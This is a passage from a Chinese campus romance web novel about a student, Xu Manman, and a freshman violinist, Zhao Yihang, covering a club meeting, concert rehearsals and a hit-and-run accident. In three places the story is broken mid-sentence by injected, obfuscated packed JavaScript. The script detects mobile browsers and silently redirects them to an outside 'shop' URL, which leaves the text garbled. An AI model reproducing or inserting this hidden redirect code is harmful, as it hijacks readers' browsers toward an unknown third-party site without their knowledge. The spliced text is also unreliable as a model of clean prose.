不过这种社团也有好处,事少,没什么规矩,开学也有段时间了,她除了招新的那天去转了圈,就再也没踏进过社团的大门了。 这次社长召集大家,应该是新社员加入后的例行会,她依旧卡着点去,结果一进活动室就被吓了一跳。 平常大家全都躺下也很充足的空间,此刻竟然有点人满为患的架势。 角落里她最常坐的那个懒人沙发,也正被两个女生占着,两个人亲亲热热凑在一起看手机,充满了大一新生的活力。 “什么意思啊?”她凑到墙边,跟贺潇站到了一起,“我们被合并了?还是以后用不了这间活动室了?” 贺潇也是大二的,两个人是去年唯二加入社团的女生,一直相依为命。 “请用发展的眼光看问题。”贺潇把手一挥,很潇洒地说,“这都是今年招来的新社员。” “啊?” 许曼曼傻眼了,大概数了数。 “二、四、八、十……十几个?社长给她们发钱了?” 贺潇无语:“你能不能有点社团爱?” “可是招新那天我去了,根本没人啊,你们不是都开始打扑克了吗?” “是没人。”她不知道想到了什么,突然邪魅一笑,“可是后来——” 她还没说完,活动室的门又被打开,走进来了一个男生。 室内一瞬寂静,随即说话的声音都响亮了几分,一种暧昧又浮躁的气息迅速蔓延开来。 都不用贺潇再说什么,许曼曼转头和她对视,两人的脸上同时浮现出心照不宣的笑容。 ——难怪,有帅哥啊。 * 还没等她仔细观察一下帅哥,她们亲爱的社长彭悦然女士终于姗姗来迟。 如她所料,这会果然没半点有用的信息,尽管欢迎了一下新社员,但仍然十分钟不到就快速结束。 许曼曼的社团爱立刻增加几分,同时也知道了那位帅哥的个人信息,经管学院大一,赵宜杭。 赵宜杭被社长留下来单独谈话,很有假公济私的嫌疑。 去食堂的路上,许曼曼和贺潇一直在讨论这件事,对他加入社团的动机进行猜测。 据贺潇说,他是今年新生中很有名的帅哥,进校之后,几乎每一天都在表白墙上挂着。 这样一个人,竟然能排除所有正确选项,选择加入她们这个社团,两人最后一致认为,可能彭悦然真的给他打钱了。 已经过了饭点,食堂人不是很多。 许曼曼向来有选择恐惧症,转悠了一大圈才决定吃炒饭。 饭是现炒的,她在窗口边等了一会儿,等到炒饭出锅,端起来一个转身,然后结结实实吓了一跳。 刚才话里的著名帅哥就站她旁边,也不知道什么时候过来的,脚步声都没有,幽灵一样。 她端着餐盘,只能勉强稳定住自己的情绪,不至于把饭撒了。 四目相对,她心里虽然在骂人,表面上还要展露学姐的风采。 “你好,你也要吃这个啊?” “不吃。” 他声音很好听,但那双眼睛看得许曼曼有点不舒服,瞳仁又大又黑,就那么直勾勾地看过来,像是要把人的魂吸走。 许曼曼转开视线,看了眼在窗边遥遥朝她招手的贺潇。 “哈哈,那我先走了。” 谁知道刚走出一步,赵宜杭却迈步挡在她面前。 许曼曼疑惑抬头,确认他是故意的。 “那个,你是有什么事吗?” “算是吧。” 他说,笑了一下。 和那双乌沉沉的眼睛不同,他笑起来的时候,整个人都很阳光。而且,许曼曼注意到,脸颊边还有一个小梨涡,这让他看起来几乎有些甜美。 确实是名不虚传,西岭大学女生的梦。 “什么事?” 她稳定心绪,注意让自己看起来不会太花痴。 “你知道我为什么加入社团吗?” “嗯?” 这话倒是立刻让她清醒过来,真是想睡觉就有人递枕头,刚才还和贺潇一通讨论,现在当事人竟然要直接上标准答案了。 “为什么?”许曼曼真诚发问。 “因为你。” “???” 对上许曼曼大惑不解的眼神,他依旧笑着,微微倾身,脸凑近过来。 “因为你长得很像我姐。” “……我像你妹。” “我没有妹妹。” “我也没有弟弟!” 许曼曼忍住翻白眼的冲动,后退一步,离他那张凑近了看更好看的脸远一点。 “同学,我们这是第一次见面吧,你这样多冒昧呀。” “不是第一次。”他说,“社团招新那天我看到你了,不然我为什么要去你们社团?” 他的表情不像是在开玩笑,但许曼曼有些拿不准。 还没说话,他又拿出了手机。 “我们加一下微信吧。” 没想到,许曼曼人生中第一次被人要微信,对象竟然是如此高的规格。 不过也是相当莫名其妙。 眼看着窗口这边又要来人了,她假笑了一下。 “我今天没带手机,下次吧。” 然后就落荒而逃了。 好在他没有跟过来,坐下来之后,贺潇也跟着往后看了一眼。 “怎么回事?你欠他钱啊?” “没有。”许曼曼自己也还在懵,理了理思路,“他说我长得像他姐。” “什么啊。”贺潇笑了起来,“不应该是‘这个妹妹我曾见过的’,到你这怎么就‘这个姐姐我曾见过’了。” “谁知道呢,感觉怪怪的。” 许曼曼往那边看了眼,人已经不在了。 “能不能让彭悦然开除他啊?” “得了吧,现在社团里你和他的地位谁更高,显而易见。”贺潇说,“人家靠一张脸就能拉进十几个社员,你呢?” “……你说我长得真的像他姐吗?” “那谁知道。”贺潇往后一靠,打量了她一下,“我看你像我哥。” “……滚。” * 关于许曼曼和赵宜杭到底谁在社团地位高的问题,很快就有了答案。 下午上完专业课,许曼曼还没收拾好东西,彭悦然就在门口叫她。 “曼曼!” “稀客啊。”许曼曼让林乔她们先走,自己收好书包过去了,“你怎么在这?” “我来找你啊。”她说,话不多说先递过来一杯奶茶,“给。” 许曼曼没伸手接,眯起眼睛。 “无事献殷勤。” “哎呀,没下毒,放心喝。” 彭悦然把吸管戳进去,递到了她嘴边。 许曼曼这才接过来,喝了一口。 “说吧,什么事?” 没想到竟然是校庆的事,十月底是学校的百年校庆,搞得很隆重,除了白天的庆典,晚上还会有一场室内音乐会。 这些许曼曼都知道,但彭悦然竟然说,这场室内音乐会,需要从她们社团临时抽调两个人参加。 两个人已经走到窗边了,许曼曼有些不解。 “学校是不是搞错了?我们是听音社,不是音乐社。而且这事不都是学生会那边在弄吗?有艺术部负责,还要我们干吗?” “你不要妄自菲薄嘛。”彭悦然说,“我们社团能人也是很多的,怎么就参与不上了?” “有谁,来你给我说说。”许曼曼无语,“贺潇不算,她本来就是音乐学院的,除了她,是你去音乐会扔标枪,还是宋子衡去踢足球?” 这两位就是社团的创始人,都是体育学院大三的,一个搞田径,一个踢足球。 没想到彭悦然丝毫不慌,微微一笑。 “有你啊,你去拉二胡。” “……” 许曼曼转身要走,被她一把拉住。 “哎呀好了,我跟你说,这都是事出有因的!” 原来学校并不是要从听音社找人参加,而是因为,他们需要的那个人,恰好在听音社而已。 音乐会安排了交响乐团和国乐团的演奏,可交响乐团的小提琴首席国庆假期出了意外,车祸导致手臂受伤住院,是一定赶不上校庆了。 照理说首席出事,就让副首席顶上,实在不行第一小提琴组选个人出来就好,可学校偏偏就不走寻常路。 “他们想让赵宜杭去当首席。” “……”许曼曼伸手示意她暂停,然后梳理了一下思路,“赵宜杭不是经管学院的吗?这是选首席还是选美?” “跟长相没关系……吧?” 彭悦然想了想,自己也不确定起来。 “不过,他虽然是经管学院的,但曾经是很有名的小提琴天才。” 据她说,赵宜杭的妈妈是职 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781278|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业小提琴演奏家赵青垚,他从小跟着妈妈学琴,也是很快展露天赋,十岁那年就登上东澜大剧院音乐厅,和妈妈同台演奏,十三岁获得国际青少年小提琴比赛金奖,是备受期待的未来之星。 不过赵青垚在他十四岁那年因病去世,他沉寂了一段时间,后来还是去读了音乐学院附中,却在高二放弃了小提琴,参加普通高考来了西岭。 没想到这人还有这样波澜壮阔的往事,赵曼曼想了想,问她。 “那他姐姐呢?拉不拉小提琴?” “姐姐?”彭悦然有些疑惑,“他是独生子呀,没有姐姐。” “……什么鬼?” 许曼曼突然感觉到一阵凉风飘过,缩了缩脖子。 “哎呀,你别转移话题。” 彭悦然根本不理解她的恐惧,有些郁闷。 “总之就是学校强人所难,首席出了事,就想着让赵宜杭顶上,这新闻报道出去多有排面,谁都知道赵宜杭来西岭了。” “那首席不会是学校派人开车撞的吧?”许曼曼问,“警察调查了没?” “不至于吧?” 彭悦然又被她带跑偏了,挥了挥手。 “哎呀重点不是这个,因为赵宜杭不干,说是校方和辅导员、班干部劝了几天也没用,结果他们鬼主意就打到这边来了。因为他就加了这么一个社团,所以社团的主管老师就来找我,也不能说威逼利诱吧,反正我们社团的存亡就关系在这上面了。” “那我们就亡吧。” 彭悦然瞪她:“怎么能说亡就亡?我们今年刚招了这么多人,只能兴,不能亡!” “那他不干你有什么办法?他刚加社团几天啊?你和他总共才说过几句话?他能听你的?为了振兴我们社团去拉小提琴,我们有这个面子吗?” “我本来也是这么想的,只是试着去找他说了说。” 彭悦然突然笑了,看起来十分的欣慰。 “但是他同意了。” “哈?” “当然,是有条件的。”彭悦然看着她,笑容变得谄媚起来,“曼曼,你也一起去。” “去哪里?去你家?” “我不是说了嘛,学校抽调两个人去参加,另一个人就是你呀。” “……我现在就把奶茶吐给你。” “别呀曼曼,你考虑一下!” 彭悦然立刻摆出一副愁眉苦脸的样子,开始卖惨。 “就当是为了我们社团,你说我们一直以来都不受重视,什么活动都没我们的份儿,经费几乎为零,活动室更是动不动就被征用,好不容易有了可以扬眉吐气的机会,多不容易啊!” “呵呵。” “还有,这对你来说也是个很好的机会呀。”她又开始利诱,“参加校庆演出有加分的,还会有表彰,这活动经历将来可以写进简历的!多么光辉灿烂的一笔!” “这么好的机会,那就给你了。” “我也想去,可是没有才艺,而且人家赵宜杭就点名要你去,你不去他也不去。” “所以到底为什么?”许曼曼是真的很好奇,“你没问他吗?这跟我有什么关系?” “我问了啊,他没说。” “你倒听话,他不说你就不问了。”许曼曼无语,“我去干什么,少爷的贴身丫环吗?去给他背小提琴?” “你去拉二胡呀!”彭悦然笑得没心没肺,“你不是会拉二胡嘛,我跟老师请示了,说是可以,但是你也知道的,我们学校比起西洋乐,国乐更厉害,而且他们都排练很久了,你直接上可能不行,去替补还是没问题的!” “……我真是谢谢你了。” 许曼曼的确学过二胡,但那是当时她不想学跳舞,退而求其次的选择。 因为程喻学钢琴,妈妈就非要她也学一门乐器,本来是打算选古筝的,但她不喜欢,选来选去选了二胡,最后也只勉强学到初二,就死活不干了,所以水平不上不下,家里的二胡也早就扔到储藏室了。 “曼曼。” 彭悦然明明比她高,非要凑过来挽着她手臂,把脑袋搭在她肩上,做娇小可人状。 “你就当是为了我,好不好?求你了。” “不好。” “那……今年你的八百米,我包了。” 许曼曼心动了。 犹豫了一小会儿,告诉她:“不是今年,到毕业为止,未来三年我的八百米都交给你,你毕业了也要回来,给我把大四那年的跑完。” “行!”彭悦然立刻直起身子,精神抖擞,“成交!” 9. 姐姐 晚上和程喻打电话,许曼曼立刻把白天这一连串荒谬的事告诉了他。 国庆之后,两人又恢复了之前每天联系的传统,甚至还要多,晚上是一定会视频或者电话的。 程喻正从实验室回宿舍,在路上和她打电话。 “我明天就要去排练了,你敢信吗?”许曼曼说,“跟我说二胡没拿也没关系,学校多得很。” “那是要和他一起了?” 程喻刚才一直静静听着,这会儿接上了话。 “嗯,我要让他把他姐的照片给我看,我就不信了,是人是鬼都要看。” 正盘算着,舍友李思慕突然从阳台上探头进来,语气兴奋。 “快来快来,下面有人表白!” 三个人立刻都冲了过去,挤到阳台边往下看,果然正上演经典场面,宿舍楼下有人捧了一大束玫瑰,站在小灯组成的爱心中间,正仰着脸打电话。 “创意不足。”林乔点评道,“但胜在不扰民,没有鬼吼鬼叫,好评。” “不知道是几楼的。” 另一个舍友俞梦探头出去,往楼上看。 消息传得很快,阳台上到处是兴奋的围观群众,叽叽喳喳的,都在等待女主角的出现。 “这会儿要能下去,肯定是真爱了。”林乔说,“这么多人围观,压力也太大了吧。” 楼下也有围观的,都快到门禁时间了,一群人还围在男主角周围,男生女生都有,举着手机拍。 可是等了一会儿,男主角的电话虽然没挂断,也迟迟不见有人下来。 这边的电话也没有挂,许曼曼给程喻现场直播。 “感觉不会来了。” “嗯。” 程喻已经回到宿舍了,也正在阳台上,给她汇报那边的情况。 “我们这里很安静,外面没什么人,月亮倒是很亮。” 舍友都已经等不耐烦进去了,许曼曼一个人趴在栏杆上,也抬头去看月亮。 “这里也是。” 今天应该是农历的中旬,月亮近乎一个圆,又大又亮地挂在天上,也没有云层遮挡,月色如洗,倒真是适合表白的好天气。 许曼曼看着月亮,突然想起一件事。 “程喻,你都没有给我表白。” 程喻不说话了。 “是我问你的!”许曼曼有些不满,“你根本是很不耐烦地说了‘我喜欢你’。” “没有不耐烦。” “有!”许曼曼说,“你给我重新表白。” “那我现在表白,你会答应吗?” 现在换许曼曼不说话了。 程喻笑了:“你看。” “这根本不是一回事嘛。”许曼曼嘟囔了句,又问,“那你是什么时候喜欢我的?” 这次他倒是回答得很快:“不告诉你。” “喂!” “你答应的话告诉你。” 程喻说,声音听起来有点愉快。 “所以,等你什么时候特别特别想知道了,就考虑到那一天吧。” * 第二天是周五,许曼曼下午没课,三点钟的时候,不情不愿去了活动室。 没想到赵宜杭已经到了,没有钥匙,正靠在墙边看手机。 见她来了,抬眸一笑。 “你来了?” 说实话他真的很过分,许曼曼脚步顿住,感觉要抬手遮一下眼睛,才不至于被他的美色迷惑。 但她还是假装很酷地点了点头,走过去开了门。 进门第一件事,他就把手机伸过来,在她眼前晃了晃。 “今天带手机了吧?” 许曼曼反应了一下,才记起是昨天说过的加微信的事。 毕竟是自己说过的话,而且之后这些天都要一起的,再装也没什么意思。 她拿出手机,和他加上了微信。 这人立刻发过来一个表情包,摇晃着脑袋,很可爱的一只小猫。 许曼曼顿了顿,问他:“能给我看看你姐的照片吗?” “怎么?”他笑了,“不相信我啊?” “嗯。”许曼曼很诚实地点头,“我跟我爸妈长得都不像,更别说一个陌生人了,所以你给我看一下,我也很好奇。” “那不行。”他说,“给你看了你又反悔了怎么办?等校庆结束给你看。” “我答应了的事不会反悔,真的。” “我们又不熟,我怎么知道。” “喂!”许曼曼失去耐心,瞪他,“骗人呢吧?你到底有姐姐没有?” 听到这话,他表情却有些怔愣,随即垂下眼睛,轻轻笑了。 “现在没有了。” 话说得有些可怜,再配合脸上淡淡的惆怅,所谓西子捧心,美人垂泪,一时间许曼曼有些坐立不安。 “那个,不好意思啊……” 她脑海中浮现好几种可能性,而且都不怎么阳光。 “我不是故意的,就是觉得有些奇怪,你看,毕竟我们才刚认识……” “但我跟她认识很久了。”他说。 许曼曼坐在窗边的桌子上,他坐得矮一些,所以抬眼看过来,又是那种无辜的上目线。 “那天在小广场,我第一眼看到你,就觉得你们很像,尤其侧脸,简直有八分相似。” “我也没别的意思,就是,太久没见了,很想她。” “所以想多和你待在一起。” 他说得像是真心话,顿了顿,问她。 “可以吗?” “可是我又不是她。” 想到彭悦然说过的关于他妈妈的事,许曼曼语气不自觉放轻了。 “其实小学的时候,我爸爸也去世了,可能我那时还太小吧,所以虽然难过,但好像也没持续太长时间就走出来了。但我觉得,在失去什么的时候,比起沉浸在过去,寻找相似的替代品,还是往前看比较好吧。” 她自己也觉得这话说得很单薄,于是又加上一句。 “不过如果你真的很想她的话,我也无所谓啦。” “真的?” 他刚才没说话,听到这话倒是立刻回应了。 “嗯。”许曼曼笑了笑,“我虽然没弟弟,有一个你这样的好像也不亏。” “但我不会管你叫姐的。”他倒是立刻蹬鼻子上脸了,“我只有一个姐姐。” “谁稀罕啊。”许曼曼无语,“我还怕你给我叫老了呢。” 气氛突然就轻松起来,她开始觉得纠结这些也没什么意思,不管他的目的是什么,就当新认识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781279|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个朋友,也蛮不错的嘛。 更何况长得还这么帅,简直稳赚不亏。 想到这里,心态平复下来,倒是也问出了刚才还不太好问的问题。 “那个,你不想说的话也可以,就是,你姐姐是怎么了?” “没关系。”他看起来心情不错,又笑了起来,“她出国了,要去一年呢。” “……” * 接下来的两周,后悔的情绪更是与日俱增。 一方面是自己的二胡,也不知道国乐团的老师为什么这么认真负责,她一个明摆着不会上场,只是来凑数的替补,也要掌握全部曲目。 她又好久没拉琴了,简直像回到当年考级的日子,每天都在折磨老师和自己。 虽然曲子都是比较基础的,但还是给自己练出了心理阴影,晚上做梦都在揉弦。 而另一边,和备受折磨的她相比,著名的小提琴天才只需稍作努力,就完美适应了自己首席的位置,在交响乐团那边如鱼得水。 这指的不仅是演奏层面,更是受欢迎程度。 休息时间,许曼曼偶尔路过他们的排练厅,都能看到他在一群女生的包围中,游刃有余左右逢源的样子。 感觉交响乐团因为他这个新首席的到来,排练厅里都充满了浪漫而幸福的气息,实在是不佩服不行。 只有她在国乐团过着凄惨的生活,被二胡折磨得如同行尸走肉,感觉还不如去跑八百米。 校庆前的最后一个晚上,也是总彩排的日子,所有乐器都搬到了音乐厅,进行舞台合练。 到这时候许曼曼反而可以休息,终于能坐在台下安安稳稳地看着了。 她坐在音乐厅的最后排,在昏暗的灯光下,有一搭没一搭地听着,因为太累,激昂的音乐声中都有些昏昏欲睡。 又拍了几张照片给程喻看,他最近也很忙,除了上课,基本上都在实验室待着。 聊着天,都没注意到声音已经停了下来,直到身边的座位坐了人,她转头,才发现合练告一段落,已经进入休息时间了。 “干吗呢?” 因为是正式合练,赵宜杭穿的也是第二天的演出服装,白衬衫,黑色的燕尾服,和他平时随意的风格不一样,更衬得眉眼精致,灯光昏暗也不减风姿。 疲惫的许曼曼已经无暇感受这些,更何况这么些天看下来,再好看的脸也已经习惯了。 所以虽然还是觉得眼前一亮,她只当来了个瓦数大一点的电灯泡。 “你能不能别过来?”她说,“我感觉自己身上又聚集了几束目光,压力很大。” 他没听到似的,探头过来看了眼。 “又在聊天?你到底有没有男朋友?” “关你什么事?” 许曼曼按熄屏幕,白了他一眼。 他依旧笑着,丝毫不以为意,向来是许曼曼越没有好脸色,他看起来反而心情越好,也不知道到底是哪来的毛病。 “明天结束了。”他说,假装叹气,“就没有光明正大找你的理由了。” “谢天谢地。” 许曼曼立刻双手紧握,虔诚祈祷。 “以后江湖路远,希望我们少点见面。” 可她的祈祷从来都不灵验,这次也是如此。 10. 事故 校庆音乐会结束,已经是晚上九点多。 两个团都各自有庆功饭吃,国乐团是在西门外的一家自助餐厅。 许曼曼原本不太想去,经历了这半个多月的身心折磨,她全然没有任务完成的喜悦,只想回去睡个天昏地暗。结果还没来得及推辞,就被贺潇强行拖去了。 贺潇是音乐学院民族器乐系的,主修琵琶,原本就是国乐团的一员。 这次也是多亏了有她在,许曼曼才得以坚持下来,日子没那么难熬。 不过实在没什么胃口,吃了一点就放下了筷子,反倒是人家这些演奏了一晚上的人,吃吃喝喝玩笑着,看起来比她精神百倍。 她靠着贺潇,玩了会儿手机,直到程喻的电话打过来。 “有电话,我出去接一下哦。” 她拍拍贺潇,小声告诉她。 “打完我就不回来了,你和大家一起玩吧。” 贺潇饭还没吃完,转头看她:“你自己回去?” “嗯,没事的,拜拜。” 许曼曼又和附近几个熟络的人道了别,就背着包提前离开了。 西门这边比较僻静,周围都是住宅区,现在时间也不早了,路上就没什么人。 因为校庆的缘故,校门口装饰得很漂亮,拱门之外是校徽样式的花卉造景,路边还有彩旗和灯饰,晚上看起来竟然比白天还有氛围感。 许曼曼和程喻打着电话,在外面转悠了一圈,点评了打卡墙和LED屏上播放着的校庆宣传片。 也不知道这宣传片是谁负责的,办事效率简直快到离谱,音乐会结束也才一个多小时,竟然就换上了最新版本。 十几秒的音乐会片段,大概有一半镜头是赵宜杭,还特意切了一个脸部特写,好像很怕大家看不清楚。 “以后别叫西岭大学交响乐团,改叫赵宜杭交响乐团好了。” 许曼曼看着屏幕,有些无语。 “而且我们国乐团总共才三秒镜头!还没有赵宜杭一个人的多!” “‘我们国乐团’?”程喻笑了,“这会儿又‘我们’上了。” “哼,今天算我们吧,不过明天就不是了。” “那,你们明天开始也就不用再见面了吧?”他说,“我说的是拉小提琴的那一位。” “……程喻你累不累啊?赵宜杭,三个字,拉小提琴的那一位——”许曼曼数了数手指,“八个字,咱俩到底谁的数学好?” “名字我记不住。”他语气轻描淡写的,“知道说的是谁就行。” “应该不会经常见到了,我们社团没有例会,清闲得很。而且又不是一个学院的,平时也不太会遇到。” 说着,许曼曼已经开始畅想美好未来。 “哎呀不管这些,反正明天没课,我要睡上一整天,把这些天缺的觉都给补回来!” * 挂了电话,她本来是要进校门的,却被花坛边的一抹白色吸引了过去。 是经常在西门出没的那只小猫,许曼曼之前在图书馆外面见过它,和学校里的其他猫咪不一样,瘦瘦的一长条,又很亲人,遇到的话会被允许摸它。 她尽量轻手轻脚走过去,果然,正躺在装饰灯带上的白色小猫,只有一只爪子是黑色的,蓝色的大眼睛看过来,并没有因为她过来就跑走。 “你好。”许曼曼蹲下来,和它高度平齐,“我能摸摸你吗?” 小猫当然不会回答,但在许曼曼试探着把手伸过去的时候,它却突然起身,跳下了灯带。 “哎,别跑呀!” 许曼曼跟着转身,原来旁边走过来一个人,小猫就是冲着这人跳下来的,凑到他腿边,略带亲呢地蹭了蹭。 她还在蹲着,顺着黑色的皮鞋看上去,这人竟然是赵宜杭。 他已经不是音乐会上的精致打扮了,外套脱下来搭在手臂上,领结也摘了,就穿着里面的白衬衫,还解开了两粒扣子,要不是身上背着琴盒,看起来倒像是要去夜店的样子。 “你走路怎么都没声啊?”许曼曼仰脸看他,有些不满,“又吓我一跳。” 他笑了笑,也蹲下身来,伸出手去摸小猫。 小猫果然对他态度不一样,在他手底下像液体一样摊开来,眯着眼睛,尾巴也竖了起来,轻轻地蹭着他的手臂。 他的手很好看,骨节分明,手指匀长,摸起猫来,动作轻而缓,莫名让许曼曼想起晚上的音乐会,他独奏时拉琴的样子。 “你们认识吗?” 许曼曼眼巴巴地看着,有些羡慕。 “算是吧。”他说,看了她一眼,“怎么,羡慕啊?” “才没有。” “你要是不口是心非的话,会更可爱的。” “我才不要可爱呢。”许曼曼往前凑了凑,也试探着去摸小猫,“可爱这种事,交给小猫就可以了。” 赵宜杭手上的动作顿了顿,转头看她。 “小猫可不是只有可爱。” 他突然弯起手作猫爪状,很迅速地伸到她面前。 “也是有爪子的。” 许曼曼一个不妨,往后一躲,险些一屁股坐到地上。 “赵宜杭!” 她回过神来,气得抬手去打他。 “你又吓我!” * 两个人一起往回走。 西门距离宿舍区比较远,要绕过湖边走很长的一段路。白天还热闹非常的校园,此刻已经陷入沉寂,偶尔有风吹过,树叶阵阵浮动,影子也在路灯的灯光下跟着摇晃。 “你们不是去南门的那家烤肉店吗?”许曼曼突然记起来,问他,“你怎么会在西门?” 赵宜杭好像正在想事,视线从湖面上收回来,随口说道:“路过。” “……你觉得我看起来像个傻子吗?” “不像。” 他非要被瞪了,才正经回答。 “因为我住那边。” “……什么?”许曼曼停下脚步,“你住校外?” “对啊。” “你才大一,凭什么可以住校外啊?不是说大一非必要不允许搬出去的吗?” “没有搬出去。”他表情无辜,“我从来都没有搬进来。” “……” “而且你都说了‘非必要’。”他又解释道,“我是必要。” “什么必要?” “心灵必要。” “……” 行吧,许曼曼已经领教过学校这适度宽松的政策了,一时倒也无话可说。 于是问他:“那你干吗跟着我进来?这不南辕北辙吗?” “送你啊。” “哎呀不用你送。” 前面刚好是交叉路口,许曼曼快走两步走到前面,催他回去。 “在校园里我是能走丢还是怎么着啊,你背着琴呢,就别一来一回地折腾了,快回去吧。” 简直像老天故意跟她作对似的,话音刚落,路对面突然拐过来一辆车,车灯晃得人睁不开眼,歪七扭八的,几乎是打着飘开了过来。 车速很快,许曼曼下意识抬手挡光,连反应都还来不及,赵宜杭伸手把她往怀里一带,车几乎是擦着他身侧掠了过去。 琴盒就背在外侧,生生被扯了下来,他人也一个踉跄,但还是护着她,没有失去平衡。 风卷着汽油味飘远,那车根本没停,伴着发动机的轰鸣声,贴着路边越开越偏,一路向西疾驰而去了。 事情的发生只在电光火石间,许曼曼脑海中只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781280|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才那一声闷响,回过神来,连忙回手去扶赵宜杭。 “没事吧?”她声音有些抖,“他是不是撞到你了?” “还好。” 赵宜杭松开揽着她的手,表情看上去却不是那么回事。 琴盒摔在一边,他伸手要去捡,却抽了一口气,另一只手捂住了右手臂。 “撞到肩膀了是不是?”许曼曼手伸过去又缩回来,怕碰到他的伤处,“我打120!” “没那么严重。”他说,依然在捂着手臂,“先帮我把琴捡起来吧。” 琴盒都凹进去了一块,可见刚才并不是简单地蹭过去,果然是撞到了。 许曼曼在地上打开给他看了眼,好在琴没事。 “还好。” 赵宜杭竟然还能笑出来,松了一口气的样子。 “好了现在别管琴了!”许曼曼立刻拿出手机开始拨号,“你的手!” * 手的问题倒是比琴严重,去医院做了检查,右手臂轻微骨裂,不过没有移位,所以不用手术,先上了夹板,一周后复查如果没有问题,才会换成可拆式支具。 许曼曼打完120之后就报了警,又联系了赵宜杭的辅导员,深更半夜的,辅导员很快就赶来了医院,还带着校保卫处的工作人员,所以大小事情几乎都是他们在处理,许曼曼全程陪着赵宜杭,一直到检查结果出来,才算是定下心来。 警察已经问过话了,辅导员和那位姓刘的保卫处长,两个人陪着出去了,留观室里只剩下许曼曼陪着他,有些脱力地坐了下来。 受伤的人坐在病床上,正支着腿看手机,云淡风轻。 “那个肇事逃逸的人抓到了。”许曼曼告诉他,“好像是教师家属,喝醉了。” “撞到别人了吗?” “没,撞树了。”许曼曼愁眉苦脸的,“你是唯一的受害者。” “还有我的琴。” “琴不是没事嘛。” 许曼曼往旁边看了眼,琴盒正靠墙立在那里,是她背过来的。可能是因为琴盒的重量,比看起来要沉,还挺费力的。但也正是因为琴盒比较结实,琴才没事的。 “心灵伤害。” 他放下手机,轻轻摸了摸琴盒。 许曼曼心中有愧,吐槽的话实在说不出口,尽量做出恬静的表情。 “要不然你还是有话直说吧。”赵宜杭指出,“你这样我更难受。” “唉,你说学校是不是应该找个风水大师来看看啊。”许曼曼分析,“你看,你和交响乐团的前首席先后出事,还都伤到了手,这难道只是个巧合?” “这是因为司机酒后驾车。” 他想了想,又加上一句。 “哦,还有你,走路不看路。” “这也能怪我?我——” 许曼曼不服气,刚想反驳,他面带微笑地伸手,指了指自己吊着的右手臂,把她后面的话截了回去。 “你不会不想对我负责吧?”他说,“当然了,我也不是那种做了好事必须留名的人,你要真不想负责,我也不勉强。” “怎么会呢,我有良心的。” 许曼曼发愁地盯着他看,但是看着看着,突然就有些想笑。 他本来衣冠楚楚的,遭了这一通罪之后,衬衫都有些揉皱了,精心打理的头发也乱了,更不用说吊着的一边手臂,还有脸颊上的一处瘀伤,和宣传片里那个人简直没有半点关系。 学校大概也没想到,自己精心剪出来的音乐会主角,会在几个小时之后变成这个样子。 大概是她憋笑的样子太明显,赵宜杭往前倾了倾身,看着她的眼睛,真诚发问。 “你确定自己真的有良心吗?” 许曼曼终于笑出了声。 11. 少爷 尽管伤不算重,但毕竟是这种事故,医生还是让留院观察了一晚。 从医院出来的时候,天都已经大亮了。 赵宜杭的辅导员也是陪着熬了一晚上,开车把两人送回了学校。 先送赵宜杭回去,他就住西门外的一个小区,车在门口停下,许曼曼背着琴先下了车。 转过去准备帮他开门,赵宜杭已经自己下来了。 “还没到这程度。” 他脸上带笑,示意自己还是有一只能用的手。 许曼曼关了车门,又凑到前排跟辅导员说话。 “苏老师,您回去吧,我送他回家,然后自己回学校就行。” 忙前忙后熬了一宿,估计接下来还有很多要善后的事,辅导员也是一脸的憔悴。 “那好,小心一点。” 又叮嘱赵宜杭:“你就先在家休息,别的事我来处理,有什么情况再联系你。” 辅导员的车开走之后,两个人站在清晨的街道上,四目相对。 “我什么时候同意你送我回家了?”赵宜杭满脸写着欠揍,“我现在手无缚鸡之力,你要是想对我怎么样,我都没办法反抗。” “别得了便宜还卖乖了,赶紧的,前面带路。”许曼曼翻了个白眼,“你要是有缚鸡之力,我还不伺候了呢。” “你能不能对我温柔点?” “不能。” “你能不能假装思考两秒?” “不能。” 两个人吵吵闹闹的,就这么一路拌着嘴回了他家。 要开门的时候,他才突然想起了什么,转身问她:“你不怕狗吧?” “家里有狗?” “嗯,不过性格还好。” “没事。”她摇了摇头,“我不怕。” 尽管做了心理准备,但一进门,就迎面扑过来一坨白色毛绒生物,许曼曼还是踉跄着往后退了步。 是一只白色的萨摩耶,完全没有刚见面的拘束感,把主人晾在一边,热情地凑过来,往许曼曼身上扑。 但是它有点重,许曼曼把琴放到一边,蹲下来抱它,又被舌头舔了两下。 “Coda!”狗主人在后面叫它,“喂,你要迎接的人是不是搞错了?” 狗狗回头看了他一眼,又转回头来往许曼曼怀里钻。 “它叫Coda?” 